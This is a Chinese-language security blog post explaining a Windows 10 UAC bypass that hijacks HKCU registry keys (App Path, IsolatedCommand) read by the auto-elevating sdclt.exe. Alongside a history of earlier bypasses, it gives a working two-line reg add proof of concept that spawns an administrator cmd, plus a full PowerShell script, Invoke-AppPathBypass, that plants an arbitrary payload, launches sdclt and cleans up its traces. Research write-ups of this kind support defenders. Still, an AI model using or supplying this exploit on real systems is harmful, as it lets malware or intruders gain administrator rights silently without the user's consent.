本月,Matt Nelson的一篇文章““FILELESS” UAC BYPASS USING SDCLT.EXE”,谈到了Windows 10中UAC的无文件绕过,引起了众多关注。
(https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/)
这里S前段时间一直忙着项目答辩准备,今天终于抽出时间与童鞋们分享一下。
最初绕过的UAC的方法揭露是http://www.pretentiousname.com/misc/win7_uac_whitelist2.html。
归结起来主要是对“黑”dll的劫持利用。当然除此之外,还出现了利用IsecurityEditor COM接口关闭UAC以及利用应用程序兼容数据库的特性来绕过UAC等等。
以上这些方法的详细实现代码可以参见俄罗斯安全社区的hfiref0x 开源的项目https://github.com/hfiref0x/UACME,在最新的windows 10的更新补丁中,基本修复了以上所有exploit
如果对UACME这个开源项目里面的代码进行过详细剖析的话,就会发现里面的20多种方法,其实大部分都是dll劫持,大多不兼容windows全版本,而且代码量较大。
所以后来又出来更加的简单的利用操作系统的卸载接口来绕过UAC的。
具体实现参见https://github.com/smb01/UacBypassUninstall。
2016年,国外的安全研究人员发现一个一种利用eventvwr注册表键值的方法来绕过win 10 UAC的方法。
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/。
上述内容,在ExpLife的文章中均有叙述。
2016年,ExpLife也做了利用CompMgmtLauncher进行windows10 bypass uac的工作。
这次,Matt Nelson牛在哪了? “无文件”绕过啊~!该方法“不依赖于IFileOperation/DLL劫持机制”。
Windows10当中包含几个签名二进制文件,且可通过清单实现自动权限提升。Nelson对其进行了分析,并最终将着眼点集中在sdclt.exe身上——此文件与Windows中的备份与恢复工具有所关联。
他发现sdclt.exe的这一自动权限提升特性皆适用于Windows 10版本。
此sdclt.exe文件会启动control.exe以在高完整性上下文中打开一个控制面板条目,该进程通过在HKEY_CURRENT_USER 配置单元中查询其App Path键的方式获取指向control.exe路径。
他称:在对执行过程进行重新观察后,我发现sdclt.exe会立足HKEY_CURRENT_USER hive配置单元之内查询control.exe的App Path键。立足高完整性进程调用HKEY_CURRENT_USER(或者简称HKCU)的过程非常有趣。其通常意味着将有一个经过权限提升的进程同某个可由中等完整性进程进行篡改的注册表位置进行交互。
如此一来,攻击者即可修改这项由sdclt.exe查询进行检索的键,并管理cmd.exe以返回查询结果。
sdclt 是微软提供的命令行磁盘备份工具,从 Vista 时代引入 在 Windows 10 开始,sdclt 加入了自动提升权限的能力,requestedExecutionLevel 由 asInvoker 变为 requireAdministrator (命令 sigcheck -m %systemroot%\system32\sdclt.exe 的结果)
当不带任何参数启动 sdclt 时,sdclt 会打开控制面板。sdclt 是如何找到 control.exe 完整路径的呢?
通过 process monitor 的分析 (过滤掉不相干进程,再用 CTRL + F 搜索 control.exe),sdclt 似乎是从注册表读取到了 control.exe 的路径,
按照这个原理,国内也有人写一个简单的 PoC
reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe” /t REG_SZ /d %COMSPEC% /f
sdclt
(http://www.2cto.com/news/201703/617410.html)
在S的电脑上运行如下(上述脚本执行后,单独运行sdclt均会弹出管理员权限的cmd)
Matt Nelson怎么弄滴呢?
他首先IDA了sdclt.exe。发现:它校验参数是否为“/kickoffelev”。如果是,设置sdclt.exe的全路径,添加“/KickOffJob”作为一个参数,然后调用SxShellExcuteWithElevate。
而SxShellExecuteWithElevate使用Runas verb启动%systemroot%\system32\sdclt.exe /kickoffjob。当你右键一个二进制文件时,就是执行RunAsAdministrator选项。
接着运行sdclt.exe /Kickoffelev,并用procmon监控。
下一步是键值,并根据用户二进制和参数执行。添加这些键后,启动sdclt.exe /kickoffelev。回到procmon中,sdclt.exe能在另一个command键中找到:IsolatedCommand。
而这就是可以利用的机会,在IsolatedCommand键中以一个字符串(REG_SZ)添加payload和参数:(核心在这儿)
这和eventvwr.exe绕过方法雷同。
在添加payload作为IsolatedCommand的值后,运行sdclt.exe /KickOffElev将在高特权级执行payload(及任何参数)。
Matt Nelson说:他没有私下透露给微软这个bypass。过去微软曾经不讲UAC bypass作为触发安全公告和修补程序版本的安全边界。但随着windows10的出现,这些bypass漏洞将带来越来越多的问题,微软也将越发重视。
附PoC脚本:
(源自GitHub:
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1)
function Invoke-AppPathBypass {
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = ‘Medium’)]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Payload,
[Switch]
$Force
)
$ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
$SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
“UAC is set to ‘Always Notify’. This module does not bypass this setting.”
exit
}
else{
#Begin Execution
$AppPath = “HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe”
if ($Force -or ((Get-ItemProperty -Path $AppPath -ErrorAction SilentlyContinue) -eq $null)){
New-Item $AppPath -Force |
New-ItemProperty -Name ‘(default)’ -Value $Payload -PropertyType string -Force | Out-Null
}else{
Write-Warning “Key already exists, consider using -Force”
exit
}
if (Test-Path $AppPath) {
Write-Verbose “Created registry entries for control.exe App Path”
}else{
Write-Warning “Failed to create registry key, exiting”
exit
}
$sdcltPath = Join-Path -Path ([Environment]::GetFolderPath(‘System’)) -ChildPath ‘sdclt.exe’
if ($PSCmdlet.ShouldProcess($sdcltPath, ‘Start process’)) {
$Process = Start-Process -FilePath $sdcltPath -PassThru
Write-Verbose “Started sdclt.exe”
}
#Sleep 5 seconds
Write-Verbose “Sleeping 5 seconds to trigger payload”
if (-not $PSBoundParameters[‘WhatIf’]) {
Start-Sleep -Seconds 5
}
if (Test-Path $AppPath) {
#Remove the registry entry
Remove-Item $AppPath -Recurse -Force
Write-Verbose “Removed registry entries”
}
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verbose “Killed running sdclt process”
}
}
}